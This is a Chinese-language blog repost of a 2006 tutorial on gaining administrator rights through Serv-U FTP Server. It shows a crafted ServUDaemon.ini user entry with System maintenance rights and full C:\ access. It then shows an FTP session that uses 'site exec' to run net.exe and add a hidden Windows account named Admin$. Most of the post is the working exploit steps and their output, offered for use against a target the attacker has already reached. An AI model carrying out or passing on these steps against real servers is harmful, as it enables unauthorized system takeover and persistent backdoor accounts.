Serv-U FTP Server远程/本地提升权限

最新推荐文章于 2023-07-12 08:48:42 发布

weixin_30855099

最新推荐文章于 2023-07-12 08:48:42 发布

阅读量121

点赞数

CC 4.0 BY-SA版权

文章标签：操作系统

原文链接：http://www.cnblogs.com/CnKker/archive/2006/10/09/524128.html

本文介绍Serv-U FTP服务中的一个安全漏洞，攻击者可通过修改ServUDaemon.ini文件获得FTP管理员权限，并执行任意命令。文章详细描述了利用该漏洞的过程及限制条件。

Serv-U FTP Serve在设置用户以后会把配置信息存储与ServUDaemon.ini文件中。包括用户的权限信息和可访问目录信息。本地受限用户或者是远程攻击者只要能够读写Serv-U FTP Serve的文件目录，就可以通过修改目录中的ServUDaemon.ini文件实现以Ftp进程在远程、本地系统上以FTP系统管理员权限来执行任意命令。并且不受系统版本的影响。(用户信息选择“存储与系统注册表中”不受此缺陷影响)

假设已经登陆到对方的计算机系统,并且取得了ServUDaemon.ini文件,而且可以进行编辑.

我们把ServUDaemon.ini down下来,并copy到本地Serv-U软件目录下,利用Serv-U软件添加用户

[USER=test|1]
Password=si4C45A74DD444F94C5829E498EE3C4882
HomeDir=c:\
TimeOut=600
Maintenance=System ////权限类型
Access1=C:\|RWAMELCDP

添加一个test用户,密码testtest

然后保存到服务器Serv-U目录下,覆盖原有ServUDaemon.ini文件

现在我们可以登陆FTP,执行任意命令
ftp>open ip

　　Connected to ip.

　　220 Serv-U FTP Server v4.1.0.0 for WinSock ready...

　　User (ip:(none)): id //输入构造的用户

　　331 User name okay, please send complete E-mail address as password.

　　Password:password //密码

　　230 User logged in, proceed.

　　ftp> cd winnt //进入win2k的winnt目录，如果是winxp或者是windows server 2003就应该为windows目录。

　　250 Directory changed to /WINNT

　　ftp>cd system32 //进入system32目录

　　250 Directory changed to /WINNT/system32

　　ftp>quote site exec net.exe user Admin$ admin /add //利用系统的net.exe文件加用户。

　　200 EXEC command successful (TID=33).